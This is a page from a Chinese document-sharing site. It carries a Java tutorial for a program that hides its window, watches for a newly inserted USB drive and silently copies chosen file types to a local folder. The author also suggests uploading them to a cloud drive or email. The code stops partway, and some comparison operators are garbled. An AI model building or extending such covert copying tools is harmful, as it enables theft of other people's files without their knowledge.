- 1
- 0
- 约4.07千字
- 约 5页
- 2018-09-29 发布于河北
- 举报
java实现u盘指定内容的自动复制
java实现u盘指定内容的自动复制
程序的功能是,检查U盘,并将U盘的内容自动拷贝到系统的某个盘符中。分享给大家,就当作是练习io流的小练习。
这个小程序的实现方法如下:
1、程序运行后隔一断时间就检查系统的盘符有没有增加,通过File.listRoots()可获取系统存在的盘符。
2、如果盘符增加了,遍历这个新增加的盘符,用字节流拷贝文件到指定的路径。
需要注意的是,由于U盘的内容可能很大,所以拷贝的时候最好指定要拷贝的文件类型,如ppt,doc,txt等等。
下面是这个小程序的相关代码:
在CopyThread类中可以指定要复制的文件类型,大家在fileTypes数组中加入相应的文件后缀名即可。如果要复制所有文件,将其设为null就行了。在CopyFileToSysRoot类中可以指定存储的路径,当然,如果愿意的话,你可以将文件上传到网盘,邮箱等等
一、USBMain类,程序入口:
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
public class USBMain {
public static void main(String[] args) {
USBMain u = new USBMain();
u.launchFrame();
//开启盘符检查线程
new CheckRootThread().start();
}
// 界面
private void launchFrame() {
final JFrame frame = new JFrame();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setLocation(450, 250);
JButton hide = new JButton(点击隐藏窗口);
// 点击按钮后隐藏窗口事件监听
hide.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
frame.setVisible(false);
}
});
frame.add(hide);
frame.pack();
frame.setVisible(true);
}
}
二、CheckRootThread类,此类用于检查新盘符的出现,并触发新盘符文件的拷贝。
import java.io.File;
//此类用于检查新盘符的出现,并触发新盘符文件的拷贝
public class CheckRootThread extends Thread {
// 获取系统盘符
private File[] sysRoot = File.listRoots();
public void run() {
File[] currentRoot = null;
while (true) {
// 当前的系统盘符
currentRoot = File.listRoots();
if (currentRoot.length sysRoot.length) {
for (int i = currentRoot.length - 1; i = 0; i--) {
boolean isNewRoot = true;
for (int j = sysRoot.length - 1; j = 0; j--) {
// 当两者盘符不同时,触发新盘符文件的拷贝
if (currentRoot[i].equals(sysRoot[j])) {
isNewRoot = false;
}
}
if (isNewRoot) {
new CopyThread(currentRoot[i]).start();
}
}
}
sysRoot = File.listRoots();
//每5秒时间检查一次系统盘符
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
三、CopyThread类,用于文件遍历并选择指定文件格式进行复制:
import java.io.File;
//该类用于对新盘符文件的复制
public class CopyThread extends Thread {
// 设置要复制的文件类型,如果要复制所有格式的文件,将fileTypes设为null
您可能关注的文档
- fl普利策奖.ppt
- fn改革开 放时期中小学德育的发展与问题探讨.doc
- foxpro在三峡工程信息管理中的应用 - 论文.doc
- gis多源数据集成模式评述_机械制造论文.doc
- fn醉翁亭记.ppt
- gis访问络数据库中若干技术问题的探讨_机械制造论文.doc
- gj城市美学.ppt
- Global economic forecast 2011年世界经济预测.ppt
- gg第五章存储器扩展技术.ppt
- hg2000系列燃气安全监控系统的现状与未来_化学与化工论文.doc
- 抚顺石化工贸中心资金控制体系优化研究:理论、实践与创新.docx
- 探秘中华通草蛉滞育发育:生殖生物学特征与调控机制.docx
- 稀有鮈鲫受精机制及影响因素的深度剖析.docx
- 从美国强制反诉制度探寻我国民事诉讼反诉制度的革新路径.docx
- 中国职业足球管理体制:演进、困境与突破路径探究.docx
- 论我国网上个体经营活动法律规制的完善与实践.docx
- 论取保候审期间脱逃后又归案的自首认定困境与出路.docx
- 动调陀螺赋能双轴稳定平台控制系统的关键技术与优化策略研究.docx
- 论我国犯罪被害人国家补偿制度的构建与完善:法理、实践与发展路径.docx
- 光纤光栅传感监控软件:原理、应用与创新发展研究.docx
最近下载
- 2026年春教科版(新教材)小学科学二年级下册(全册)教学设计(附目录P91).pdf
- 2026年山东劳动职业技术学院单招(计算机)考试备考题库及答案解析(夺冠).docx VIP
- 超实用近五年(2021-2025)高考英语真题分类汇编:专题17 语法填空(全国通用)(原卷版).docx VIP
- 时尚流行文化解读.pptx VIP
- 文学类文本阅读青辰《梨花开了》【2023年四川省凉山州中考语文真题】.docx VIP
- 《毛笔楷书基础教程》职业院校书法课程全套教学课件.pptx
- (完整版)交管12123学法减分考试题库及答案.doc
- 2026年山东劳动职业技术学院单招(计算机)考试参考题库附答案.docx VIP
- 2025年教师资格考试高中学科知识与教学能力思想政治试卷与参考答案.docx VIP
- 基建项目财务咨询方案.docx VIP
原创力文档

文档评论(0)